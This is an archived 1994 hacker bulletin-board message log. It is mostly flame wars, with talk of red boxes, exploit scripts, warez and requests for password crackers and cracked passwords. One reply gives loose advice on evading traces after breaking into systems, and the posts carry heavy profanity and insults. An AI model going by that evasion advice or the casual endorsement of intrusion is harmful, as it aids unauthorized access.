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Date: Wed May 25 01:53:33 1994
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... and then he said 'Dickhead Asshole Cocksucker' and I don't know what
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he meant by it.
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From feotus@yabbs Wed May 25 17:16:06 1994
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From: feotus@yabbs
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To: cosmos@yabbs
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Subject: oh brodder
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Date: Wed May 25 17:16:06 1994
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your getting slow old man
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amazing that someone as hard-core from the eighties as you would waste
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their time ona bbs liek this? Why arent you coding you little hacker
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gawd you.
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it's your time your wasting when you flame me for this one. it won't
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bother me.
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From Badger01@yabbs Thu May 26 16:02:08 1994
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From: Badger01@yabbs
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To: feotus@yabbs
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Subject: re: oh brodder
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Date: Thu May 26 16:02:08 1994
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This is not a flame. Just saying hello.
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People are so interesting, dontchathink?
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And I am damn near computre illeterarte
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so feel free to flame me, cosmos
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BADGER01
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Matthew Rossi
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'These hands won many a torque of gold."
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THE MADNESS OF KING GOLL
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From Natalie@yabbs Thu May 26 18:50:57 1994
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From: Natalie@yabbs
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To: Badger01@yabbs
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Subject: re: oh brodder
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Date: Thu May 26 18:50:57 1994
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*waits*
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From cannibal@yabbs Fri May 27 08:57:02 1994
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From: cannibal@yabbs
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To: all@yabbs
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Subject: h/p mail net
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Date: Fri May 27 08:57:02 1994
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Hiya all.
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We in an overseas top bbs with a serious and active H/P/A conference,
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are looking for a serious H/P mail net (or a net with a large hacking
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section/folder) to be subscribed to as a site. We are able to support
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any mail net that will be approved with international quality mail
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and files.
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For further info, email me on this board.
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-=[Cannibal]=-
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From cosmos@yabbs Fri May 27 17:51:23 1994
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From: cosmos@yabbs
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To: cannibal@yabbs
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Subject: re: h/p mail net
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Date: Fri May 27 17:51:23 1994
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In message h/p mail net, cannibal talked shit:
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> Hiya all.
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> We in an overseas top bbs with a serious and active H/P/A conference,
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> are looking for a serious H/P mail net (or a net with a large hacking
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> section/folder) to be subscribed to as a site. We are able to support
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> any mail net that will be approved with international quality mail
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> and files.
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>
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Yeah, spare us.
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Cosmos
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From cannibal@yabbs Fri May 27 18:56:21 1994
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From: cannibal@yabbs
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To: cosmos@yabbs
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Subject: re: h/p mail net
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Date: Fri May 27 18:56:21 1994
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> Yeah, spare us.
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Fuck, i just talked to you and now i see this msg..
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'vrybody : cosmos is a real softie in real life (in (t)alk anywayz ;)..
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how much time it takes ya to fake that cynicism?
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I really should invite the 2600 con to come by your house once..
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wouldn't hurt them to get some shit..
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cannieo.
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From Gnarr@yabbs Sat May 28 10:56:54 1994
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From: Gnarr@yabbs
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To: all@yabbs
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Subject: <no title>
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Date: Sat May 28 10:56:54 1994
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Jeez...........teh things you miss when your gone for a
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while.....................
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From nirvana@yabbs Sat May 28 13:43:51 1994
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From: nirvana@yabbs
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To: all@yabbs
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Subject: Replacement for hack-this
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Date: Sat May 28 13:43:51 1994
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Dear esteemed collegues, ( wow , i can hardly wait for cosmos' flame on
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this )
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It seems that hack-this is closed for this summer . Can my esteemed
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friends suggest an alternative site for this ?
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Before this gets censored , i would like to point out that i am not
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asking for a site name for a particular activity , but only a replacement
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for hack-this . I hope htoaster realizes the subtle but important
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difference between these two points .
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Thanking u in advance .
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Regards to all ,
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Nirvana
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From the Land of Miss Universe '94.
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From pnovak@yabbs Sat May 28 16:25:17 1994
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From: pnovak@yabbs
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To: all@yabbs
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Subject: cosmos
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Date: Sat May 28 16:25:17 1994
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Soft at heart???
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pnovak has been preparing some lodestone-tipped arrows
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to fire at his hd's.
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Thought he deserved something like that...
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(from the jungles of the amazon, lotsa xt's here...)
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From taegu@yabbs Mon May 30 05:41:41 1994
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From: taegu@yabbs
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To: all@yabbs
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Subject: re: rexd hole?
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Date: Mon May 30 05:41:41 1994
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From uufnord@yabbs Tue May 31 01:11:39 1994
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From: uufnord@yabbs
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To: taegu@yabbs
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Subject: re: rexd hole?
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Date: Tue May 31 01:11:39 1994
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From taegu@yabbs Tue May 31 17:54:14 1994
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From: taegu@yabbs
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To: uufnord@yabbs
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Subject: re: rexd hole?
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Date: Tue May 31 17:54:14 1994
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that message was sent in error sorry for the confusion
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From Dprogram@yabbs Tue May 31 21:56:20 1994
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From: Dprogram@yabbs
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To: scudder@yabbs
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Subject: re: LoCaLiTy...
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Date: Tue May 31 21:56:20 1994
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Don't get so concerned, scudder. Cosmos is a dipshit and speaks for
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himself alone. All he does is sit on his ass and pull his eliter-then-thou
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altitude. He apparently has no life, and if he got one then perhaps we
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could get something done around here, but until that happens, I beleive
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the best thing to do is ignore him.
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Say, cosmos: I thought you said you used your red box daily, and now red
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boxers are lame? I myself have used codez in the pastand I see red boxing
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as an improvement. And your article on packet switched networks was
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worthless. Oh, scuze me, if I want you to tell me anything then I want
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everything on a silver platter. Well, don't worry cosmo, I wouldn't
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ask for a drink of water if I was dying of thirst. Could you actually be
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as pathetic as you seem?
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From cosmos@yabbs Wed Jun 1 01:27:05 1994
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From: cosmos@yabbs
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To: Dprogram@yabbs
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Subject: re: LoCaLiTy...
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Date: Wed Jun 1 01:27:05 1994
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In message re: LoCaLiTy..., Dprogram spouted garbage, saying:
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> Don't get so concerned, scudder. Cosmos is a dipshit and speaks for
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> himself alone. All he does is sit on his ass and pull his eliter-then-thou
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> altitude. He apparently has no life, and if he got one then perhaps we
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> could get something done around here, but until that happens, I beleive
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> the best thing to do is ignore him.
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And just what do you want to accomplish?? Let me guess, haqin and
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phreakin shit....sorry m8, back to your hole.
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>
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> Say, cosmos: I thought you said you used your red box daily, and now red
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> boxers are lame? I myself have used codez in the pastand I see red boxing
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> as an improvement. And your article on packet switched networks was
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> worthless. Oh, scuze me, if I want you to tell me anything then I want
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> everything on a silver platter. Well, don't worry cosmo, I wouldn't
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> ask for a drink of water if I was dying of thirst. Could you actually be
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> as pathetic as you seem?
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Um, I dont have a redbox...but Ill run on out and make one right away.
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Worthless as in, you probably couldnt understand it. Anyhow, you fit the
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bill...if it's not a HOW-TO then its not good. Thats why Karl Strickland
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keeps you guys in business, an 8lgm script does it all and you dont have
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to know a damn thing.
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Anyhow, you just run along now m8.
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Cosmos
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From DrClaw@yabbs Wed Jun 1 11:18:04 1994
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From: DrClaw@yabbs
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To: cosmos@yabbs
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Subject: what an asshole
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Date: Wed Jun 1 11:18:04 1994
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oh look at me...i want to be a lamer like cosmos. Oh
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iam so cool cause i can just flame anything. Oh bow down
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before me you unholy people..
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get a life asshole
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From cosmos@yabbs Wed Jun 1 14:46:29 1994
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From: cosmos@yabbs
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To: DrClaw@yabbs
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Subject: re: what an asshole
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Date: Wed Jun 1 14:46:29 1994
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In message what an asshole, DrClaw said:
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> oh look at me...i want to be a lamer like cosmos. Oh
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> iam so cool cause i can just flame anything. Oh bow down
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> before me you unholy people..
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You forgot to mention, "I am a |<-RaD motherfucker."
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>
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> get a life asshole
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Hmmmm....perhaps by haqin 3l33t systems and using my redbox.
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Cosmos
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From buzzbomb@yabbs Wed Jun 1 17:39:06 1994
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From: buzzbomb@yabbs
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To: cosmos@yabbs
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Subject: re: what an asshole
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Date: Wed Jun 1 17:39:06 1994
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so is this a flame base or a hack base?
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sheesh...so start postin' some codezzzzzz d00dzzzz, and like i'll tell
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ya where the warezzzzzzz g00diezzzzz are!
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blah whatever. ppl suck.
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From ButtrBoy@yabbs Wed Jun 1 17:40:04 1994
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From: ButtrBoy@yabbs
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To: all@yabbs
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Subject: re: what an asshole
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Date: Wed Jun 1 17:40:04 1994
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hahahaha!
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HooBoy you guys are a riot. I think mebbe you guys don't give
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Cos enough credit, the ornery old bastard. He knows plenty
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about OSs, unix specifically...been around long enough,
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i guess. Cos--you heard about plan 9? know anything about it?
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I got a redbox, i admit, but it's nothing special, really.
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Just use it to call my girlfriend while she's away :'(
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I give a lot more credit to people who know x25 networks
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and pbx's and are serious about learning how systems work.
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I just got my account restored after my sysadmins discovered
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a cracked passwd file and ypx and satan and (yep, cos, you
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guessed it) 8lgm and bugtraq scripts and nuke etc. They
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also discovered it was 30 megs larger than it was sposed to
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be. So no more toolin' around for me, imma learn UNIX the
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hard way and set up a box myself, mebbe SLIPed in, running
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NetBSD, instead of trying to glean shit from the tons of
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scripts and crap people dcc or mail me.
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It's funny, when you think about it, how much you can do
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without really understanding how it works. SMTP, fer
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example. Hell, any protocol, really. That's why i think all
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hackers should try to read as many rfc's as they can,
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instead of running programs other people wrote or
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following instructions other people give. That's not
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hacking. That's not learning. That's just leeching.
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anyhowz, my $.02.
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-=ButterBoy=-
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From cosmos@yabbs Wed Jun 1 22:30:55 1994
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From: cosmos@yabbs
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To: ButtrBoy@yabbs
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Subject: re: what an asshole
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Date: Wed Jun 1 22:30:55 1994
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On the right track my friend. Codez kiddies just don't seem to
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understand that those scripts had to come from somewhere. Hacking has
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fizzled down to kids running scripts, red box antics, and collectin mags
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to show off at a 2600 meet. Gone are the inquisitive natures collected
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behind systems hacking.
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And another thing, since when did hacking become collecting cracked
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accounts...pffft.
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Cosmos
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From uufnord@yabbs Thu Jun 2 03:07:24 1994
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From: uufnord@yabbs
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To: cosmos@yabbs
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Subject: re: what an arsehole
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Date: Thu Jun 2 03:07:24 1994
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Scripts had to come from somewhere? Really? I thought they were
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automagically generated from the emissions of pulsar X9 and then
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stegan-o-fucked into the pictures of naked babees in Penthouse, scanned,
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decoded, and transcribed, and then placed on Usenet.
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Maybe I don't have a clue. Maybe all that I thought was actually a
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delusion and nothing exists except my mind imagining all these things.
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Nah.. I got a penthouse to read.
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From Jeremiah@yabbs Sat Jun 4 01:02:38 1994
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From: Jeremiah@yabbs
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To: cosmos@yabbs
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Subject: shit you'll find...
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Date: Sat Jun 4 01:02:38 1994
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Believe it or not I found 2 or 3 scripts on some localz around here...
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I know I'm not the cool guy hacker, but doesn't that defeat the point of
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hacking if someone wrote the damn script and you just run it????
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From cosmos@yabbs Sat Jun 4 01:37:35 1994
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From: cosmos@yabbs
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To: Jeremiah@yabbs
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Subject: re: shit you'll find...
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Date: Sat Jun 4 01:37:35 1994
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In message shit you'll find..., Jeremiah said:
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> Believe it or not I found 2 or 3 scripts on some localz around here...
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> I know I'm not the cool guy hacker, but doesn't that defeat the point of
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> hacking if someone wrote the damn script and you just run it????
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Hacking, yes.
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Cracking, no. If all you want to do is break into a system grab root and
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do whatever, a couple of scripts can be a handy tool.
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Cosmos
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From slohack@yabbs Sat Jun 4 16:23:50 1994
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From: slohack@yabbs
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To: all@yabbs
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Subject: anybody seen this?
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Date: Sat Jun 4 16:23:50 1994
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Anybody ever heard of a PACKIT/6 System? It is some kind of software
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interface for a ISDN net. I found one at a University on there net. It
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seems to have all sorts of setup shit for their ISDN lines. Kinda cool,
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but some of the stuff needs a pwd. Anybody got an sources/manuals/info on
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it? tHANKS....
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Latez....
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SLOHACK
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From scudder@yabbs Sat Jun 4 21:00:19 1994
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From: scudder@yabbs
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To: all@yabbs
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Subject: info request..
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Date: Sat Jun 4 21:00:19 1994
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Greetings all, (go ahead and flame me cosmos)
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Has anyone heard of a model PR25A Conductor Tagger & Analyzer? It's made
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by Perkins Research & Manufacturing Co. Inc. and I found a manual for one
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in my local Bell office's dumpster and as far as I can tell it involves
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tagging, simplexing, and monitoring....Whoever has more info lemme know
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Thanx.
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From elixirio@yabbs Tue Jun 7 08:51:28 1994
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From: elixirio@yabbs
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To: all@yabbs
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Subject: help
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Date: Tue Jun 7 08:51:28 1994
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Is there anybody out there who has Cracker Jack or something like
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that (UNIX/VMS passwd cracker) ?
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If you do please send it to TEI_S1@xanthi.cc.duth.gr !!
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If you don't contact me also for exanging hacking infos and progs.
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P.S. I am also searching for for ftp sites with hacking stuff.
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From buzzbomb@yabbs Tue Jun 7 10:10:33 1994
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From: buzzbomb@yabbs
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To: cosmos@yabbs
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Subject: re: shit you'll find...
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Date: Tue Jun 7 10:10:33 1994
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they couild come in handy for hacking too... not running them, but
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reading them and analyzing them to see how they work. i've never seen
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these scripts you're talking about (i'd like to check them out if
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anyne can point me to them) but i'm sure a person could learn from
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them if they took the time to try.
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From cosmos@yabbs Tue Jun 7 13:57:56 1994
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From: cosmos@yabbs
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To: elixirio@yabbs
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Subject: re: help
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Date: Tue Jun 7 13:57:56 1994
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In message help, elixirio said:
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> Is there anybody out there who has Cracker Jack or something like
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> that (UNIX/VMS passwd cracker) ?
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Wonderful, more wankers online. Try archie and FTP you stupid fuck.
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> If you do please send it to TEI_S1@xanthi.cc.duth.gr !!
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How about a nice big core?
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> If you don't contact me also for exanging hacking infos and progs.
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> P.S. I am also searching for for ftp sites with hacking stuff.
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You my friend couldn't hack your way out of a paper bag.
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wankers.
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Cosmos
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From cosmos@yabbs Tue Jun 7 13:59:33 1994
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From: cosmos@yabbs
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To: buzzbomb@yabbs
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Subject: re: shit you'll find...
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Date: Tue Jun 7 13:59:33 1994
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In message re: shit you'll find..., buzzbomb said:
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> they couild come in handy for hacking too... not running them, but
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> reading them and analyzing them to see how they work. i've never seen
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> these scripts you're talking about (i'd like to check them out if
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> anyne can point me to them) but i'm sure a person could learn from
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> them if they took the time to try.
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Yes, one could. They are quite good. Read comp.security.unix on usenet,
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that is where they are posted regularly. Or drop me a request at:
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coz@cyberspace.org and Ill email them to ya.
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Cosmos
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From cosmos@yabbs Wed Jun 8 03:00:36 1994
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From: cosmos@yabbs
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To: Markus@yabbs
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Subject: re: shit you'll find...
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Date: Wed Jun 8 03:00:36 1994
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In message re: shit you'll find..., Markus said:
|
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> Really, this is not for CoSMoS, but the fer the person who posted about
|
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> Cracker Jack. I could give it to ya. I'd also like a list of the
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> passwords when they're cracked and the address of the system they're on.
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This is too lame, it can't be true. A blatant plug for cracked passwords
|
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on a public BBS...can't get any more 3l33t than that m8's....
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Alex will delete this as soon as he sees it, I am still laughing now...
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>
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> OBeLiX
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> [WRiTeR FoR PhP]
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PhP must be pretty desperate for membership if all they can get is
|
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complete wankers who beg for cracked passwords. Then again, 99.9% of all
|
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groups are a bunch of pathetic arses who form a collective group of wankers.
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Still amused...
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Cosmos
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From Kashmir@yabbs Fri Jun 10 15:07:03 1994
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From: Kashmir@yabbs
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To: ButtrBoy@yabbs
|
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Subject: re: what an asshole
|
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Date: Fri Jun 10 15:07:03 1994
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Where'd you get satan? I thought it was still being made..
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From buzzbomb@yabbs Fri Jun 10 23:58:02 1994
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From: buzzbomb@yabbs
|
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To: cosmos@yabbs
|
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Subject: re: shit you'll find...
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Date: Fri Jun 10 23:58:02 1994
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oh yeah.... you're on cyberspace.org... "coz". sure.
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and they post them on comp.security...? wow.... sure.
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c00l sarc@zm d00d!!!
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From cosmos@yabbs Sat Jun 11 00:16:38 1994
|
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From: cosmos@yabbs
|
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To: buzzbomb@yabbs
|
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Subject: re: shit you'll find...
|
|
Date: Sat Jun 11 00:16:38 1994
|
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|
|
In message re: shit you'll find..., buzzbomb said:
|
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> oh yeah.... you're on cyberspace.org... "coz". sure.
|
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|
|
No, but I have a mail forwarder there.
|
|
>
|
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> and they post them on comp.security...? wow.... sure.
|
|
>
|
|
If you are referring to the 8lgm advisories, yes they do. Perhaps if you
|
|
got your head out of your pathetic ass and checked it out you might not
|
|
be such a clueless little fuck.
|
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|
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> c00l sarc@zm d00d!!!
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You aint seen nothing yet m8.
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Cosmos
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From Zbadba@yabbs Sat Jun 11 01:36:22 1994
|
|
From: Zbadba@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: mail forwarder
|
|
Date: Sat Jun 11 01:36:22 1994
|
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|
|
Any chance I might nab that forwarder?
|
|
I've got a couple of accounts on grex, and it'd be nice to have them all
|
|
sent to one convenient location.
|
|
|
|
From rattler@yabbs Sat Jun 11 11:26:21 1994
|
|
From: rattler@yabbs
|
|
To: all@yabbs
|
|
Subject: help
|
|
Date: Sat Jun 11 11:26:21 1994
|
|
|
|
anybody know anythinh about a FLEXIM someorsuch system ?
|
|
just happened to call one by accident.
|
|
|
|
From feotus@yabbs Sat Jun 11 17:07:49 1994
|
|
From: feotus@yabbs
|
|
To: Zbadba@yabbs
|
|
Subject: re: mail forwarder
|
|
Date: Sat Jun 11 17:07:49 1994
|
|
|
|
couple accounts? fucker why waste good resources provided to the public
|
|
like that. I could kill ya.
|
|
|
|
geesh one is enough, it's not like their draconian in their policy or
|
|
anything.
|
|
|
|
get a clue man, dont waste the time and energy of poeple who are ot to
|
|
help.
|
|
|
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|
|
From PhE@yabbs Sat Jun 11 17:27:30 1994
|
|
From: PhE@yabbs
|
|
To: all@yabbs
|
|
Subject: Read
|
|
Date: Sat Jun 11 17:27:30 1994
|
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|
|
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|
|
Ionic Destruction
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|
|
(215).722.0570
|
|
|
|
SysOp-Phatal Error
|
|
|
|
CoS-Anonymous Caller
|
|
|
|
NUP: ROOM 246
|
|
|
|
H/P/A/V/C/T
|
|
|
|
No ]<-RaD Warez
|
|
|
|
UsRobotics 16.8 Dual Standard
|
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|
|
MoRGUE Textz World Headquarters
|
|
|
|
Legend Virii Eastern Headquarters
|
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|
|
F.U.C.K. Text East Headquarters
|
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|
|
Satanic Sinners Service Distribution
|
|
|
|
CorrupTed Trojan Developments Distribution
|
|
|
|
2400/9600/14400/16800 v42/v32/v32bis
|
|
|
|
From cosmos@yabbs Sat Jun 11 18:06:42 1994
|
|
From: cosmos@yabbs
|
|
To: Zbadba@yabbs
|
|
Subject: re: mail forwarder
|
|
Date: Sat Jun 11 18:06:42 1994
|
|
|
|
In message mail forwarder, Zbadba said:
|
|
> Any chance I might nab that forwarder?
|
|
> I've got a couple of accounts on grex, and it'd be nice to have them all
|
|
> sent to one convenient location.
|
|
|
|
try placing a .forward file in your home directory....
|
|
|
|
Cosmos
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|
|
From cosmos@yabbs Sat Jun 11 18:11:39 1994
|
|
From: cosmos@yabbs
|
|
To: PhE@yabbs
|
|
Subject: re: Read
|
|
Date: Sat Jun 11 18:11:39 1994
|
|
|
|
In message Read, PhE said:
|
|
>
|
|
>
|
|
>
|
|
>
|
|
> No ]<-RaD Warez
|
|
> ^^^^^^^^^^^^^^^
|
|
> UsRobotics 16.8 Dual Standard
|
|
> ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
|
|
|
|
Hmmmm...what single occurence singles out a WaReZ board...
|
|
|
|
|
|
> MoRGUE Textz World Headquarters
|
|
>
|
|
> Legend Virii Eastern Headquarters
|
|
>
|
|
> F.U.C.K. Text East Headquarters
|
|
>
|
|
> Satanic Sinners Service Distribution
|
|
>
|
|
> CorrupTed Trojan Developments Distribution
|
|
>
|
|
|
|
God, I am impressed. Nothing like good ole holsum reading to get the
|
|
spirits up. This character is just too 3l33t for me. B0aRdZ r lAm3
|
|
d00d, Int3Rn3tz 3l33t!!!
|
|
|
|
Cosmos
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From Zbadba@yabbs Sat Jun 11 22:04:57 1994
|
|
From: Zbadba@yabbs
|
|
To: feotus@yabbs
|
|
Subject: re: mail forwarder
|
|
Date: Sat Jun 11 22:04:57 1994
|
|
|
|
I do nothing with that system but use it as a convenient mailing point.
|
|
I don't store any files, recieve usenet or any such nonsense.
|
|
However, I have the need for two accounts, one in my real name (that I can
|
|
use for professional contacts) and one with my handle (for personal
|
|
contacts). As of right now, I've set my mail to be forwarded to my home
|
|
system. All this means that I never actually log on anymore. MY two
|
|
accounts are currently using fewer resources than one active account
|
|
there.
|
|
|
|
Frankly, feo, I think you've prejudged me.
|
|
That's really a bad habit to get into, but then, I've sensed a recurring
|
|
pattern in that area with you.
|
|
|
|
(Translation: Chill out. I've no qualms with you, and I'd rather not start
|
|
a flame war.)
|
|
|
|
|
|
From Zbadba@yabbs Sat Jun 11 22:07:27 1994
|
|
From: Zbadba@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: mail forwarder
|
|
Date: Sat Jun 11 22:07:27 1994
|
|
|
|
>try placing a .forward file in your home directory....
|
|
|
|
<thwap>
|
|
|
|
I feel sheepish. Pity me, I still have to deal with DOS, and I'm used to
|
|
the DOS way of doing things (i.e. kludge programming to make up for the
|
|
shitty OS deficiencies). Relatively, I'm a UNIX newbie.
|
|
|
|
|
|
From feotus@yabbs Sun Jun 12 12:50:49 1994
|
|
From: feotus@yabbs
|
|
To: Zbadba@yabbs
|
|
Subject: re: mail forwarder
|
|
Date: Sun Jun 12 12:50:49 1994
|
|
|
|
no problem, but I have seen a TON of lamers from other areas use
|
|
cyberspace as a junk yard and basically abuse it. And I think you'll
|
|
agree after hangig out here for awhile that when you see someone say "i
|
|
have several accounts oin such and such" that chances are they are some
|
|
wanker abusing free shit.
|
|
|
|
I have one there myself for professional and handle contacts, but my real
|
|
name isnt used. Nice system, and some lamers actually tried to crack it
|
|
with some *LGM scripts, too bad it has all the scripted holes patched,
|
|
those guys are the epitome of asswipe trying to crack a sysem providing
|
|
services, and operating as TAZ on the net. that's like biting your own
|
|
heel.
|
|
|
|
From Justbob@yabbs Mon Jun 20 15:39:28 1994
|
|
From: Justbob@yabbs
|
|
To: all@yabbs
|
|
Subject: cyberspace.org
|
|
Date: Mon Jun 20 15:39:28 1994
|
|
|
|
woo wooo, pub unix! where to i sign up?!
|
|
(hey binkley, shouldv'e known i'd find you here:)
|
|
|
|
From mad-mind@yabbs Thu Jun 23 06:31:13 1994
|
|
From: mad-mind@yabbs
|
|
To: PhE@yabbs
|
|
Subject: BBS
|
|
Date: Thu Jun 23 06:31:13 1994
|
|
|
|
Your system has an interesting logon screen.
|
|
|
|
From Kamakize@yabbs Sat Jun 25 19:40:26 1994
|
|
From: Kamakize@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: Delphi
|
|
Date: Sat Jun 25 19:40:26 1994
|
|
|
|
Well i have had my Delphi account for a LONG time before they
|
|
had Internet, and you used to could Bonce from city to city (they ahd
|
|
Boston,NYC,LA,and Argentia Delphi) it was cool. then intenet came
|
|
and its starting to suck, only reason i kep delphi is cuz parentsz pay for
|
|
it
|
|
he
|
|
|
|
From Kamakize@yabbs Sat Jun 25 19:44:33 1994
|
|
From: Kamakize@yabbs
|
|
To: cosmos@yabbs
|
|
Subject: re: LoCaLiTy...
|
|
Date: Sat Jun 25 19:44:33 1994
|
|
|
|
Yah i go to the dc-2600 meetings about 4-5 tiks a year (hey it is a 3 hour
|
|
drive) but there are warez kiddies and a guy trying to sell a red box for
|
|
100$ alot. hehhe but we do have fun taking pcitures of the infamous
|
|
Mall Secuirty guys. i have pictures will bring them to DC 2600 if i
|
|
remember
|
|
he gawdf its so fucking funny how thye do it. and that camera my gawd its
|
|
so funny.. i cant help from laughing.
|
|
but dc 2600 is cool in ways accualy talk goes on. EFF showes up sometimes
|
|
im just wating for the BUST #2 to come. or news to slam into there
|
|
again...
|
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|
|
From GPF@yabbs Sat Jun 25 20:19:44 1994
|
|
From: GPF@yabbs
|
|
To: Kamakize@yabbs
|
|
Subject: re: LoCaLiTy...
|
|
Date: Sat Jun 25 20:19:44 1994
|
|
|
|
what fucking language are you speaking dude?
|
|
|
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|
|
From cosmos@yabbs Sat Jun 25 23:43:15 1994
|
|
From: cosmos@yabbs
|
|
To: Kamakize@yabbs
|
|
Subject: re: Delphi
|
|
Date: Sat Jun 25 23:43:15 1994
|
|
|
|
In message re: Delphi, Kamakize said:
|
|
> Well i have had my Delphi account for a LONG time before they
|
|
> had Internet, and you used to could Bonce from city to city (they ahd
|
|
> Boston,NYC,LA,and Argentia Delphi) it was cool. then intenet came
|
|
> and its starting to suck, only reason i kep delphi is cuz parentsz pay for
|
|
> it
|
|
> he
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|
|
|
Oh christ.....
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D3Lp|-|| |Z 3l33T
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Cosmos
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From Egwene@yabbs Mon Jun 27 05:34:18 1994
|
|
From: Egwene@yabbs
|
|
To: all@yabbs
|
|
Subject: KOH
|
|
Date: Mon Jun 27 05:34:18 1994
|
|
|
|
How do I get KOH from ftp.netcom.com/bradleym/hidden/gS76ytfFd
|
|
It says if you are in the U.S. you can get it but then it says access
|
|
denied. Does anyone know of another source I can get it at.
|
|
Egwene
|
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|
From cosmos@yabbs Tue Jun 28 00:05:13 1994
|
|
From: cosmos@yabbs
|
|
To: Egwene@yabbs
|
|
Subject: re: KOH
|
|
Date: Tue Jun 28 00:05:13 1994
|
|
|
|
In message KOH, Egwene said:
|
|
> How do I get KOH from ftp.netcom.com/bradleym/hidden/gS76ytfFd
|
|
> It says if you are in the U.S. you can get it but then it says access
|
|
> denied. Does anyone know of another source I can get it at.
|
|
> Egwene
|
|
|
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|
|
i have no fucking clue as to what KOH is, but it smells like \/\/aR3Z to
|
|
me....
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|
Cosmos
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From Dim@yabbs Tue Jun 28 01:45:34 1994
|
|
From: Dim@yabbs
|
|
To: all@yabbs
|
|
Subject: tracing
|
|
Date: Tue Jun 28 01:45:34 1994
|
|
|
|
How difficult is it to trace through someone thru the net that doesn't
|
|
have an account? Say you have access through a dial up, but it's
|
|
anonymous, and you can telnet out. Fake email couldn't be traced back to
|
|
you, only to your host? If an admin saw a little hacking goin on in his
|
|
system, and traced the caller, would he be stopped at the dial-up? If
|
|
anyone wants to help me out here, or flame me (cosmos), feel free...
|
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From cosmos@yabbs Tue Jun 28 02:19:55 1994
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From: cosmos@yabbs
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To: Dim@yabbs
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Subject: re: tracing
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Date: Tue Jun 28 02:19:55 1994
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In message tracing, Dim said:
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> How difficult is it to trace through someone thru the net that doesn't
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> have an account? Say you have access through a dial up, but it's
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> anonymous, and you can telnet out. Fake email couldn't be traced back to
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> you, only to your host? If an admin saw a little hacking goin on in his
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> system, and traced the caller, would he be stopped at the dial-up? If
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> anyone wants to help me out here, or flame me (cosmos), feel free...
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So one wants to cause a little trouble eh....
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Fake email will be easily traced to your host unless you know your SMTP
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and I doubt you do. No problem though, figuring its not your account
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anyhow what do you care. An admin cant trace you unless they have caller
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id which is easily stopped on your end... He cant access a trace like
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bellcore or anything, to get one he would have to go through all sorts of
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legal channels etc...
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Now if he went to the authorities and showed them evidence of break in
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and was persistant enough they could eventually pull out telco logs of
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who had called the system at the given time...putting that against system
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logs could reveal you.
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Anyhow, sounds pretty lame to me. But if you want to waste your time
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with spoofed mail suit yourself. I doubt any admin will bother to track
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you down though. They will just shut down the account in question.
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Cosmos
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From Egwene@yabbs Tue Jun 28 09:29:40 1994
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From: Egwene@yabbs
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To: cosmos@yabbs
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Subject: re: KOH
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Date: Tue Jun 28 09:29:40 1994
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Never mind, I figured it out, its just a new virus.
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From balistic@yabbs Wed Jun 29 18:13:05 1994
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From: balistic@yabbs
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To: all@yabbs
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Subject: *ulp* Help!
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Date: Wed Jun 29 18:13:05 1994
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Recently, while online, my crt suddenly went blank and my PC started
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to reset itself repeatedly, has this happened to anyone else?
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is it a virus or a glitch in my hardware?
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any input would be appreciated
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BALISTIC
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From Xela@yabbs Thu Jun 30 00:04:02 1994
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From: Xela@yabbs
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To: balistic@yabbs
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Subject: hmm..
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Date: Thu Jun 30 00:04:02 1994
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before you start looking for viruses or hardware problems, look at all
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your connections: wires, board connections, etc. Seems obvious, but
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sometimes people forget...
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From balistic@yabbs Thu Jun 30 15:02:33 1994
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From: balistic@yabbs
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To: Xela@yabbs
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Subject: thanx
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Date: Thu Jun 30 15:02:33 1994
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Thanx Xela, every little bit of advice helps, re-thanx
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From cable@yabbs Fri Jul 1 13:26:27 1994
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From: cable@yabbs
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To: all@yabbs
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Subject: stacker 4.0
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Date: Fri Jul 1 13:26:27 1994
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hey,i have a problem with stacker 4.0, it will not load because the
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stacvol.dsk if "too fragmented" to mount it tells me to do a "/f" but i do
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not know where so i have done it everywhere and nothing. i have no manual
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so i need help to defrag the drive so i can mount it. thannkz a lot my
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-mail address is bxcabl01@msuacad.morehead-st.edu
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thanx a lot
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From PyR0@yabbs Fri Jul 1 16:03:23 1994
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From: PyR0@yabbs
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To: all@yabbs
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Subject: Where is the 0 dayz
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Date: Fri Jul 1 16:03:23 1994
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Where are the 0 day warez on this board?? Can anyone tell me any c00l
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sites with warez??? Or any bbs around that carry warez for dos/windows
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and games
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tnx d00dz
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From slohack@yabbs Fri Jul 1 16:49:32 1994
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From: slohack@yabbs
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To: PyR0@yabbs
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Subject: re: Where is the 0 dayz
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Date: Fri Jul 1 16:49:32 1994
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I not even going to say anything.....:)
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From Jeremiah@yabbs Fri Jul 1 17:50:18 1994
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From: Jeremiah@yabbs
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To: PyR0@yabbs
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Subject: Wait till Cosmos sees this.
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Date: Fri Jul 1 17:50:18 1994
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Uh.... Since when does :<-Rad \\//\\//ar3z have anything to do with
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hacking? Tsk. Tsk. Didn't they ever tell you that pirating sofware is a
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no-no... I work for the SPA and I have already checked your E-Mail
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address, and I know where you live. You will cease all pirating and
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delete EVERY illegitimate copy of any program ever made. I will send you
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E-Mail regarding your crimes.
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From Jeremiah@yabbs Fri Jul 1 17:55:30 1994
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From: Jeremiah@yabbs
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To: all@yabbs
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Subject: anyway....
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Date: Fri Jul 1 17:55:30 1994
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I like acting... I'm not in a creative mood though...
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"HEY D00DZ I NeeD SoMe \/\/ar3z. Thanx C00L D00D!
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:_ame
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From Jeremiah@yabbs Fri Jul 1 18:00:22 1994
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From: Jeremiah@yabbs
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To: all@yabbs
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Subject: Sunsite?
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Date: Fri Jul 1 18:00:22 1994
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I tried jumping onto sunsite and it said that it was temporaily down
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due to "Childish Hacking"... Anyone know any details?
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From dmonger@yabbs Fri Jul 1 20:06:38 1994
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From: dmonger@yabbs
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To: PyR0@yabbs
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Subject: re: Where is the 0 dayz
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Date: Fri Jul 1 20:06:38 1994
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haa haa haa
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hoo hoo hoo
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hee hee hee
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stop, i'll pee
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-peter
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From cosmos@yabbs Sat Jul 2 00:19:48 1994
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From: cosmos@yabbs
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To: Jeremiah@yabbs
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Subject: re: Sunsite?
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Date: Sat Jul 2 00:19:48 1994
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In message Sunsite?, Jeremiah said:
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> I tried jumping onto sunsite and it said that it was temporaily down
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> due to "Childish Hacking"... Anyone know any details?
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And the crackers come out to play on linux...silly wankers using linux
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hack the main distribution site??? What a way to show support for the
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OS...course it will probably be blamed on Jesus Monroy... ;)
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Cosmos
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From Dim@yabbs Sat Jul 2 15:16:52 1994
